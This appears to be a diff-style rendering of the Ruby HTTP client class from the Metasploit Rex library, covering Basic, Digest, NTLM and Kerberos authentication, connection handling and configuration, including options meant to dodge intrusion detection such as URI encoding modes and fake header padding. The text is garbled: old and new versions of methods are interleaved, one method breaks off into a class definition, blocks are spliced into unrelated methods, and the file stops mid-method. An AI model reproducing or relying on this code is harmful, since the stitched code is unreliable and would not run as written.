# if several providers are available, the client may want one in particular
|
||||
preferred_auth = opts['preferred_auth']
|
||||
|
||||
if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic')
|
||||
opts['headers'] ||= {}
|
||||
opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] )
|
||||
req = request_cgi(opts)
|
||||
res = _send_recv(req,t,persist)
|
||||
return res
|
||||
elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest')
|
||||
temp_response = digest_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM')
|
||||
opts['provider'] = 'NTLM'
|
||||
temp_response = negotiate_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate')
|
||||
opts['provider'] = 'Negotiate'
|
||||
temp_response = negotiate_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Kerberos')
|
||||
opts['provider'] = 'Negotiate'
|
||||
temp_response = kerberos_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
# Converts username and password into the HTTP Basic authorization
|
||||
# string.
|
||||
#
|
||||
# @return [String] A value suitable for use as an Authorization header
|
||||
def basic_auth_header(username,password)
|
||||
auth_str = username.to_s + ":" + password.to_s
|
||||
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
|
||||
end
|
||||
|
||||
|
||||
def make_cnonce
|
||||
Digest::MD5.hexdigest "%x" % (::Time.now.to_i + rand(65535))
|
||||
end
|
||||
|
||||
# Send a series of requests to complete Digest Authentication
|
||||
#
|
||||
# @param opts [Hash] the options used to build an HTTP request
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def digest_auth(opts={})
|
||||
cnonce = make_cnonce
|
||||
nonce_count = 0
|
||||
|
||||
to = opts['timeout'] || 20
|
||||
|
||||
digest_user = opts['username'] || ""
|
||||
digest_password = opts['password'] || ""
|
||||
|
||||
method = opts['method']
|
||||
path = opts['uri']
|
||||
iis = true
|
||||
if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false)
|
||||
iis = false
|
||||
end
|
||||
|
||||
begin
|
||||
nonce_count += 1
|
||||
|
||||
resp = opts['response']
|
||||
|
||||
if not resp
|
||||
# Get authentication-challenge from server, and read out parameters required
|
||||
r = request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method }))
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
if resp.code != 401
|
||||
return resp
|
||||
end
|
||||
return resp unless resp.headers['WWW-Authenticate']
|
||||
end
|
||||
|
||||
# Don't anchor this regex to the beginning of string because header
|
||||
# folding makes it appear later when the server presents multiple
|
||||
# WWW-Authentication options (such as is the case with IIS configured
|
||||
# for Digest or NTLM).
|
||||
resp['www-authenticate'] =~ /Digest (.*)/
|
||||
|
||||
parameters = {}
|
||||
$1.split(/,[[:space:]]*/).each do |p|
|
||||
k, v = p.split("=", 2)
|
||||
parameters[k] = v.gsub('"', '')
|
||||
end
|
||||
|
||||
qop = parameters['qop']
|
||||
|
||||
if parameters['algorithm'] =~ /(.*?)(-sess)?$/
|
||||
algorithm = case $1
|
||||
when 'MD5' then Digest::MD5
|
||||
when 'SHA1' then Digest::SHA1
|
||||
when 'SHA2' then Digest::SHA2
|
||||
when 'SHA256' then Digest::SHA256
|
||||
when 'SHA384' then Digest::SHA384
|
||||
when 'SHA512' then Digest::SHA512
|
||||
when 'RMD160' then Digest::RMD160
|
||||
else raise Error, "unknown algorithm \"#{$1}\""
|
||||
end
|
||||
algstr = parameters["algorithm"]
|
||||
sess = $2
|
||||
else
|
||||
algorithm = Digest::MD5
|
||||
algstr = "MD5"
|
||||
sess = false
|
||||
end
|
||||
|
||||
a1 = if sess then
|
||||
[
|
||||
algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
|
||||
parameters['nonce'],
|
||||
cnonce
|
||||
].join ':'
|
||||
else
|
||||
"#{digest_user}:#{parameters['realm']}:#{digest_password}"
|
||||
end
|
||||
|
||||
ha1 = algorithm.hexdigest(a1)
|
||||
ha2 = algorithm.hexdigest("#{method}:#{path}")
|
||||
|
||||
request_digest = [ha1, parameters['nonce']]
|
||||
request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop
|
||||
request_digest << ha2
|
||||
request_digest = request_digest.join ':'
|
||||
|
||||
# Same order as IE7
|
||||
auth = [
|
||||
"Digest username=\"#{digest_user}\"",
|
||||
"realm=\"#{parameters['realm']}\"",
|
||||
"nonce=\"#{parameters['nonce']}\"",
|
||||
"uri=\"#{path}\"",
|
||||
"cnonce=\"#{cnonce}\"",
|
||||
"nc=#{'%08x' % nonce_count}",
|
||||
"algorithm=#{algstr}",
|
||||
"response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
|
||||
# The spec says the qop value shouldn't be enclosed in quotes, but
|
||||
# some versions of IIS require it and Apache accepts it. Chrome
|
||||
# and Firefox both send it without quotes but IE does it this way.
|
||||
# Use the non-compliant-but-everybody-does-it to be as compatible
|
||||
# as possible by default. The user can override if they don't like
|
||||
# it.
|
||||
if qop.nil? then
|
||||
elsif iis then
|
||||
"qop=\"#{qop}\""
|
||||
else
|
||||
"qop=#{qop}"
|
||||
end,
|
||||
if parameters.key? 'opaque' then
|
||||
"opaque=\"#{parameters['opaque']}\""
|
||||
end
|
||||
].compact
|
||||
|
||||
headers ={ 'Authorization' => auth.join(', ') }
|
||||
headers.merge!(opts['headers']) if opts['headers']
|
||||
|
||||
# Send main request with authentication
|
||||
r = request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method,
|
||||
'headers' => headers }))
|
||||
resp = _send_recv(r, to, true)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
return resp
|
||||
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
end
|
||||
end
|
||||
|
||||
def kerberos_auth(opts={})
|
||||
to = opts['timeout'] || 20
|
||||
auth_result = self.kerberos_authenticator.authenticate(mechanism: Rex::Proto::Gss::Mechanism::KERBEROS)
|
||||
gss_data = auth_result[:security_blob]
|
||||
gss_data_b64 = Rex::Text.encode_base64(gss_data)
|
||||
|
||||
# Separate options for the auth requests
|
||||
auth_opts = opts.clone
|
||||
auth_opts['headers'] = opts['headers'].clone
|
||||
auth_opts['headers']['Authorization'] = "Kerberos #{gss_data_b64}"
|
||||
|
||||
if auth_opts['no_body_for_auth']
|
||||
auth_opts.delete('data')
|
||||
auth_opts.delete('krb_transform_request')
|
||||
auth_opts.delete('krb_transform_response')
|
||||
end
|
||||
|
||||
begin
|
||||
# Send the auth request
|
||||
r = request_cgi(auth_opts)
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
# Get the challenge and craft the response
|
||||
response = resp.headers['WWW-Authenticate'].scan(/Kerberos ([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
||||
return resp unless response
|
||||
|
||||
decoded = Rex::Text.decode_base64(response)
|
||||
mutual_auth_result = self.kerberos_authenticator.parse_gss_init_response(decoded, auth_result[:session_key])
|
||||
self.krb_encryptor = self.kerberos_authenticator.get_message_encryptor(mutual_auth_result[:ap_rep_subkey],
|
||||
auth_result[:client_sequence_number],
|
||||
mutual_auth_result[:server_sequence_number])
|
||||
|
||||
if opts['no_body_for_auth']
|
||||
# If the body wasn't sent in the authentication, now do the actual request
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
end
|
||||
return resp
|
||||
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Builds a series of requests to complete Negotiate Auth. Works essentially
|
||||
# the same way as Digest auth. Same pipelining concerns exist.
|
||||
#
|
||||
# @option opts (see #send_request_cgi)
|
||||
# @option opts provider ["Negotiate","NTLM"] What Negotiate provider to use
|
||||
#
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def negotiate_auth(opts={})
|
||||
|
||||
to = opts['timeout'] || 20
|
||||
opts['username'] ||= ''
|
||||
opts['password'] ||= ''
|
||||
|
||||
if opts['provider'] and opts['provider'].include? 'Negotiate'
|
||||
provider = "Negotiate "
|
||||
else
|
||||
provider = "NTLM "
|
||||
end
|
||||
|
||||
opts['method']||= 'GET'
|
||||
opts['headers']||= {}
|
||||
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+6)
|
||||
domain_name = self.config['domain']
|
||||
|
||||
ntlm_client = ::Net::NTLM::Client.new(
|
||||
opts['username'],
|
||||
opts['password'],
|
||||
workstation: workstation_name,
|
||||
domain: domain_name,
|
||||
)
|
||||
type1 = ntlm_client.init_context
|
||||
|
||||
begin
|
||||
# Separate options for the auth requests
|
||||
auth_opts = opts.clone
|
||||
auth_opts['headers'] = opts['headers'].clone
|
||||
auth_opts['headers']['Authorization'] = provider + type1.encode64
|
||||
|
||||
if auth_opts['no_body_for_auth']
|
||||
auth_opts.delete('data')
|
||||
auth_opts.delete('ntlm_transform_request')
|
||||
auth_opts.delete('ntlm_transform_response')
|
||||
end
|
||||
|
||||
# First request to get the challenge
|
||||
r = request_cgi(auth_opts)
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
return resp unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
||||
|
||||
# Get the challenge and craft the response
|
||||
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
||||
return resp unless ntlm_challenge
|
||||
|
||||
ntlm_message_3 = ntlm_client.init_context(ntlm_challenge, channel_binding)
|
||||
|
||||
self.ntlm_client = ntlm_client
|
||||
# Send the response
|
||||
auth_opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}"
|
||||
r = request_cgi(auth_opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
if opts['no_body_for_auth']
|
||||
# If the body wasn't sent in the authentication, now do the actual request
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
end
|
||||
return resp
|
||||
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def channel_binding
|
||||
if !self.conn.respond_to?(:peer_cert) or self.conn.peer_cert.nil?
|
||||
nil
|
||||
else
|
||||
Net::NTLM::ChannelBinding.create(OpenSSL::X509::Certificate.new(self.conn.peer_cert))
|
||||
end
|
||||
end
|
||||
|
||||
# Read a response from the server
|
||||
#
|
||||
# Wait at most t seconds for the full response to be read in.
|
||||
# If t is specified as a negative value, it indicates an indefinite wait cycle.
|
||||
# If t is specified as nil or 0, it indicates no response parsing is required.
|
||||
#
|
||||
# @return [Response]
|
||||
def read_response(t = -1, opts = {})
|
||||
# Return a nil response if timeout is nil or 0
|
||||
return if t.nil? || t == 0
|
||||
|
||||
resp = Response.new
|
||||
resp.max_data = config['read_max_data']
|
||||
|
||||
original_request = opts.fetch(:original_request) { nil }
|
||||
parse_opts = {}
|
||||
unless original_request.nil?
|
||||
parse_opts = { :orig_method => original_request.opts['method'] }
|
||||
end
|
||||
|
||||
Timeout.timeout((t < 0) ? nil : t) do
|
||||
|
||||
rv = nil
|
||||
while (
|
||||
not conn.closed? and
|
||||
rv != Packet::ParseCode::Completed and
|
||||
rv != Packet::ParseCode::Error
|
||||
)
|
||||
|
||||
begin
|
||||
|
||||
buff = conn.get_once(resp.max_data, 1)
|
||||
rv = resp.parse(buff || '', parse_opts)
|
||||
|
||||
# Handle unexpected disconnects
|
||||
rescue ::Errno::EPIPE, ::EOFError, ::IOError
|
||||
case resp.state
|
||||
when Packet::ParseState::ProcessingHeader
|
||||
resp = nil
|
||||
when Packet::ParseState::ProcessingBody
|
||||
# truncated request, good enough
|
||||
resp.error = :truncated
|
||||
end
|
||||
break
|
||||
module Proto
|
||||
module Http
|
||||
###
|
||||
#
|
||||
# Acts as a client to an HTTP server, sending requests and receiving responses.
|
||||
#
|
||||
# See the RFC: http://www.w3.org/Protocols/rfc2616/rfc2616.html
|
||||
#
|
||||
###
|
||||
class Client
|
||||
|
||||
#
|
||||
# Creates a new client instance
|
||||
# @param http_trace_proc_request [Proc] A proc object passed to log HTTP requests if HTTP-Trace is set
|
||||
# @param http_trace_proc_response [Proc] A proc object passed to log HTTP responses if HTTP-Trace is set
|
||||
#
|
||||
def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '', kerberos_authenticator: nil, comm: nil, subscriber: nil)
|
||||
self.hostname = host
|
||||
self.port = port.to_i
|
||||
self.context = context
|
||||
self.ssl = ssl
|
||||
self.ssl_version = ssl_version
|
||||
self.proxies = proxies
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.kerberos_authenticator = kerberos_authenticator
|
||||
self.comm = comm
|
||||
self.subscriber = subscriber || HttpSubscriber.new
|
||||
|
||||
# Take ClientRequest's defaults, but override with our own
|
||||
self.config = Http::ClientRequest::DefaultConfig.merge({
|
||||
'read_max_data' => (1024 * 1024 * 1),
|
||||
'vhost' => hostname,
|
||||
'ssl_server_name_indication' => hostname
|
||||
})
|
||||
config['agent'] ||= Rex::UserAgent.session_agent
|
||||
|
||||
# XXX: This info should all be controlled by ClientRequest
|
||||
self.config_types = {
|
||||
'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'hex-noslashes', 'u-normal', 'u-random', 'u-all'],
|
||||
'uri_encode_count' => 'integer',
|
||||
'uri_full_url' => 'bool',
|
||||
'pad_method_uri_count' => 'integer',
|
||||
'pad_uri_version_count' => 'integer',
|
||||
'pad_method_uri_type' => ['space', 'tab', 'apache'],
|
||||
'pad_uri_version_type' => ['space', 'tab', 'apache'],
|
||||
'method_random_valid' => 'bool',
|
||||
'method_random_invalid' => 'bool',
|
||||
'method_random_case' => 'bool',
|
||||
'version_random_valid' => 'bool',
|
||||
'version_random_invalid' => 'bool',
|
||||
'uri_dir_self_reference' => 'bool',
|
||||
'uri_dir_fake_relative' => 'bool',
|
||||
'uri_use_backslashes' => 'bool',
|
||||
'pad_fake_headers' => 'bool',
|
||||
'pad_fake_headers_count' => 'integer',
|
||||
'pad_get_params' => 'bool',
|
||||
'pad_get_params_count' => 'integer',
|
||||
'pad_post_params' => 'bool',
|
||||
'pad_post_params_count' => 'integer',
|
||||
'shuffle_get_params' => 'bool',
|
||||
'shuffle_post_params' => 'bool',
|
||||
'uri_fake_end' => 'bool',
|
||||
'uri_fake_params_start' => 'bool',
|
||||
'header_folding' => 'bool',
|
||||
'chunked_size' => 'integer',
|
||||
'partial' => 'bool'
|
||||
}
|
||||
end
|
||||
|
||||
# This is a dirty hack for broken HTTP servers
|
||||
if rv == Packet::ParseCode::Completed
|
||||
rbody = resp.body
|
||||
rbufq = resp.bufq
|
||||
#
|
||||
# Set configuration options
|
||||
#
|
||||
def set_config(opts = {})
|
||||
opts.each_pair do |var, val|
|
||||
# Default type is string
|
||||
typ = config_types[var] || 'string'
|
||||
|
||||
rblob = rbody.to_s + rbufq.to_s
|
||||
tries = 0
|
||||
begin
|
||||
# XXX: This doesn't deal with chunked encoding
|
||||
while tries < 1000 and resp.headers["Content-Type"] and resp.headers["Content-Type"].start_with?('text/html') and rblob !~ /<\/html>/i
|
||||
buff = conn.get_once(-1, 0.05)
|
||||
break if not buff
|
||||
rblob += buff
|
||||
tries += 1
|
||||
# These are enum types
|
||||
if typ.is_a?(Array) && !typ.include?(val)
|
||||
raise "The specified value for #{var} is not one of the valid choices"
|
||||
end
|
||||
|
||||
# The caller should have converted these to proper ruby types, but
|
||||
# take care of the case where they didn't before setting the
|
||||
# config.
|
||||
|
||||
if (typ == 'bool')
|
||||
val = val == true || val.to_s =~ /^(t|y|1)/i
|
||||
end
|
||||
|
||||
if (typ == 'integer')
|
||||
val = val.to_i
|
||||
end
|
||||
|
||||
config[var] = val
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create an arbitrary HTTP request
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts 'agent' [String] User-Agent header value
|
||||
# @option opts 'connection' [String] Connection header value
|
||||
# @option opts 'cookie' [String] Cookie header value
|
||||
# @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616)
|
||||
# @option opts 'encode' [Bool] URI encode the supplied URI, default: false
|
||||
# @option opts 'headers' [Hash] HTTP headers, e.g. <code>{ "X-MyHeader" => "value" }</code>
|
||||
# @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
|
||||
# @option opts 'proto' [String] protocol, default: HTTP
|
||||
# @option opts 'query' [String] raw query string
|
||||
# @option opts 'raw_headers' [String] Raw HTTP headers
|
||||
# @option opts 'uri' [String] the URI to request
|
||||
# @option opts 'version' [String] version of the protocol, default: 1.1
|
||||
# @option opts 'vhost' [String] Host header value
|
||||
#
|
||||
# @return [ClientRequest]
|
||||
def request_raw(opts = {})
|
||||
opts = config.merge(opts)
|
||||
|
||||
opts['cgi'] = false
|
||||
opts['port'] = port
|
||||
opts['ssl'] = ssl
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Create a CGI compatible request
|
||||
#
|
||||
# @param (see #request_raw)
|
||||
# @option opts (see #request_raw)
|
||||
# @option opts 'ctype' [String] Content-Type header value, default for POST requests: +application/x-www-form-urlencoded+
|
||||
# @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true
|
||||
# @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string
|
||||
# @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data
|
||||
# @option opts 'vars_form_data' [Hash] POST form_data variables as a hash to be translated into multi-part POST form data
|
||||
#
|
||||
# @return [ClientRequest]
|
||||
def request_cgi(opts = {})
|
||||
opts = config.merge(opts)
|
||||
|
||||
opts['cgi'] = true
|
||||
opts['port'] = port
|
||||
opts['ssl'] = ssl
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Connects to the remote server if possible.
|
||||
#
|
||||
# @param t [Integer] Timeout
|
||||
# @see Rex::Socket::Tcp.create
|
||||
# @return [Rex::Socket::Tcp]
|
||||
def connect(t = -1)
|
||||
# If we already have a connection and we aren't pipelining, close it.
|
||||
if conn
|
||||
if !pipelining?
|
||||
close
|
||||
else
|
||||
return conn
|
||||
end
|
||||
rescue ::Errno::EPIPE, ::EOFError, ::IOError
|
||||
end
|
||||
|
||||
resp.bufq = ""
|
||||
resp.body = rblob
|
||||
timeout = (t.nil? or t == -1) ? 0 : t
|
||||
|
||||
self.conn = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => hostname,
|
||||
'PeerHostname' => config['ssl_server_name_indication'] || config['vhost'],
|
||||
'PeerPort' => port.to_i,
|
||||
'LocalHost' => local_host,
|
||||
'LocalPort' => local_port,
|
||||
'Context' => context,
|
||||
'SSL' => ssl,
|
||||
'SSLVersion' => ssl_version,
|
||||
'Proxies' => proxies,
|
||||
'Timeout' => timeout,
|
||||
'Comm' => comm
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the connection to the remote server.
|
||||
#
|
||||
def close
|
||||
if conn && !conn.closed?
|
||||
conn.shutdown
|
||||
conn.close
|
||||
end
|
||||
|
||||
self.conn = nil
|
||||
self.ntlm_client = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Sends a request and gets a response back
|
||||
#
|
||||
# If the request is a 401, and we have creds, it will attempt to complete
|
||||
# authentication and return the final response
|
||||
#
|
||||
# @return (see #_send_recv)
|
||||
def send_recv(req, t = -1, persist = false)
|
||||
res = _send_recv(req, t, persist)
|
||||
if res and res.code == 401 and res.headers['WWW-Authenticate']
|
||||
res = send_auth(res, req.opts, t, persist)
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Transmit an HTTP request and receive the response
|
||||
#
|
||||
# If persist is set, then the request will attempt to reuse an existing
|
||||
# connection.
|
||||
#
|
||||
# Call this directly instead of {#send_recv} if you don't want automatic
|
||||
# authentication handling.
|
||||
#
|
||||
# @return (see #read_response)
|
||||
def _send_recv(req, t = -1, persist = false)
|
||||
@pipeline = persist
|
||||
subscriber.on_request(req)
|
||||
if req.respond_to?(:opts) && req.opts['ntlm_transform_request'] && ntlm_client
|
||||
req = req.opts['ntlm_transform_request'].call(ntlm_client, req)
|
||||
elsif req.respond_to?(:opts) && req.opts['krb_transform_request'] && krb_encryptor
|
||||
req = req.opts['krb_transform_request'].call(krb_encryptor, req)
|
||||
end
|
||||
|
||||
send_request(req, t)
|
||||
|
||||
res = read_response(t, original_request: req)
|
||||
if req.respond_to?(:opts) && req.opts['ntlm_transform_response'] && ntlm_client
|
||||
req.opts['ntlm_transform_response'].call(ntlm_client, res)
|
||||
elsif req.respond_to?(:opts) && req.opts['krb_transform_response'] && krb_encryptor
|
||||
req = req.opts['krb_transform_response'].call(krb_encryptor, res)
|
||||
end
|
||||
res.request = req.to_s if res
|
||||
res.peerinfo = peerinfo if res
|
||||
subscriber.on_response(res)
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Send an HTTP request to the server
|
||||
#
|
||||
# @param req [Request,ClientRequest,#to_s] The request to send
|
||||
# @param t (see #connect)
|
||||
#
|
||||
# @return [void]
|
||||
def send_request(req, t = -1)
|
||||
connect(t)
|
||||
conn.put(req.to_s)
|
||||
end
|
||||
|
||||
# Resends an HTTP Request with the proper authentication headers
|
||||
# set. If we do not support the authentication type the server requires
|
||||
# we return the original response object
|
||||
#
|
||||
# @param res [Response] the HTTP Response object
|
||||
# @param opts [Hash] the options used to generate the original HTTP request
|
||||
# @param t [Integer] the timeout for the request in seconds
|
||||
# @param persist [Boolean] whether or not to persist the TCP connection (pipelining)
|
||||
#
|
||||
# @return [Response] the last valid HTTP response object we received
|
||||
def send_auth(res, opts, t, persist)
|
||||
if opts['username'].nil? or opts['username'] == ''
|
||||
if username and !(username == '')
|
||||
opts['username'] = username
|
||||
opts['password'] = password
|
||||
else
|
||||
opts['username'] = nil
|
||||
opts['password'] = nil
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:kerberos_authenticator].nil?
|
||||
opts[:kerberos_authenticator] = kerberos_authenticator
|
||||
end
|
||||
|
||||
return res if (opts['username'].nil? or opts['username'] == '') and opts[:kerberos_authenticator].nil?
|
||||
|
||||
supported_auths = res.headers['WWW-Authenticate']
|
||||
|
||||
# if several providers are available, the client may want one in particular
|
||||
preferred_auth = opts['preferred_auth']
|
||||
|
||||
if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic')
|
||||
opts['headers'] ||= {}
|
||||
opts['headers']['Authorization'] = basic_auth_header(opts['username'], opts['password'])
|
||||
req = request_cgi(opts)
|
||||
res = _send_recv(req, t, persist)
|
||||
return res
|
||||
elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest')
|
||||
temp_response = digest_auth(opts)
|
||||
if temp_response.is_a? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM')
|
||||
opts['provider'] = 'NTLM'
|
||||
temp_response = negotiate_auth(opts)
|
||||
if temp_response.is_a? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate')
|
||||
opts['provider'] = 'Negotiate'
|
||||
temp_response = negotiate_auth(opts)
|
||||
if temp_response.is_a? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Kerberos')
|
||||
opts['provider'] = 'Negotiate'
|
||||
temp_response = kerberos_auth(opts)
|
||||
if temp_response.is_a? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
# Converts username and password into the HTTP Basic authorization
|
||||
# string.
|
||||
#
|
||||
# @return [String] A value suitable for use as an Authorization header
|
||||
def basic_auth_header(username, password)
|
||||
auth_str = username.to_s + ':' + password.to_s
|
||||
'Basic ' + Rex::Text.encode_base64(auth_str)
|
||||
end
|
||||
# Send a series of requests to complete Digest Authentication
|
||||
#
|
||||
# @param opts [Hash] the options used to build an HTTP request
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def digest_auth(opts = {})
|
||||
to = opts['timeout'] || 20
|
||||
|
||||
digest_user = opts['username'] || ''
|
||||
digest_password = opts['password'] || ''
|
||||
|
||||
method = opts['method']
|
||||
path = opts['uri']
|
||||
iis = true
|
||||
if (opts['DigestAuthIIS'] == false or config['DigestAuthIIS'] == false)
|
||||
iis = false
|
||||
end
|
||||
|
||||
begin
|
||||
resp = opts['response']
|
||||
|
||||
if !resp
|
||||
# Get authentication-challenge from server, and read out parameters required
|
||||
r = request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method
|
||||
}))
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.is_a? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
if resp.code != 401
|
||||
return resp
|
||||
end
|
||||
return resp unless resp.headers['WWW-Authenticate']
|
||||
end
|
||||
|
||||
# Don't anchor this regex to the beginning of string because header
|
||||
# folding makes it appear later when the server presents multiple
|
||||
# WWW-Authentication options (such as is the case with IIS configured
|
||||
# for Digest or NTLM).
|
||||
resp['www-authenticate'] =~ /Digest (.*)/
|
||||
|
||||
parameters = {}
|
||||
::Regexp.last_match(1).split(/,[[:space:]]*/).each do |p|
|
||||
k, v = p.split('=', 2)
|
||||
parameters[k] = v.gsub('"', '')
|
||||
end
|
||||
|
||||
auth_digest = Rex::Proto::Http::AuthDigest.new
|
||||
auth = auth_digest.digest(digest_user, digest_password, method, path, parameters, iis)
|
||||
|
||||
headers = { 'Authorization' => auth.join(', ') }
|
||||
headers.merge!(opts['headers']) if opts['headers']
|
||||
|
||||
# Send main request with authentication
|
||||
r = request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method,
|
||||
'headers' => headers
|
||||
}))
|
||||
resp = _send_recv(r, to, true)
|
||||
unless resp.is_a? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
return resp
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
end
|
||||
end
|
||||
|
||||
def kerberos_auth(opts = {})
|
||||
to = opts['timeout'] || 20
|
||||
auth_result = kerberos_authenticator.authenticate(mechanism: Rex::Proto::Gss::Mechanism::KERBEROS)
|
||||
gss_data = auth_result[:security_blob]
|
||||
gss_data_b64 = Rex::Text.encode_base64(gss_data)
|
||||
|
||||
# Separate options for the auth requests
|
||||
auth_opts = opts.clone
|
||||
auth_opts['headers'] = opts['headers'].clone
|
||||
auth_opts['headers']['Authorization'] = "Kerberos #{gss_data_b64}"
|
||||
|
||||
if auth_opts['no_body_for_auth']
|
||||
auth_opts.delete('data')
|
||||
auth_opts.delete('krb_transform_request')
|
||||
auth_opts.delete('krb_transform_response')
|
||||
end
|
||||
|
||||
begin
|
||||
# Send the auth request
|
||||
r = request_cgi(auth_opts)
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.is_a? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
# Get the challenge and craft the response
|
||||
response = resp.headers['WWW-Authenticate'].scan(/Kerberos ([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
||||
return resp unless response
|
||||
|
||||
decoded = Rex::Text.decode_base64(response)
|
||||
mutual_auth_result = kerberos_authenticator.parse_gss_init_response(decoded, auth_result[:session_key])
|
||||
self.krb_encryptor = kerberos_authenticator.get_message_encryptor(mutual_auth_result[:ap_rep_subkey],
|
||||
auth_result[:client_sequence_number],
|
||||
mutual_auth_result[:server_sequence_number])
|
||||
|
||||
if opts['no_body_for_auth']
|
||||
# If the body wasn't sent in the authentication, now do the actual request
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
end
|
||||
return resp
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Builds a series of requests to complete Negotiate Auth. Works essentially
|
||||
# the same way as Digest auth. Same pipelining concerns exist.
|
||||
#
|
||||
# @option opts (see #send_request_cgi)
|
||||
# @option opts provider ["Negotiate","NTLM"] What Negotiate provider to use
|
||||
#
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def negotiate_auth(opts = {})
|
||||
to = opts['timeout'] || 20
|
||||
opts['username'] ||= ''
|
||||
opts['password'] ||= ''
|
||||
|
||||
if opts['provider'] and opts['provider'].include? 'Negotiate'
|
||||
provider = 'Negotiate '
|
||||
else
|
||||
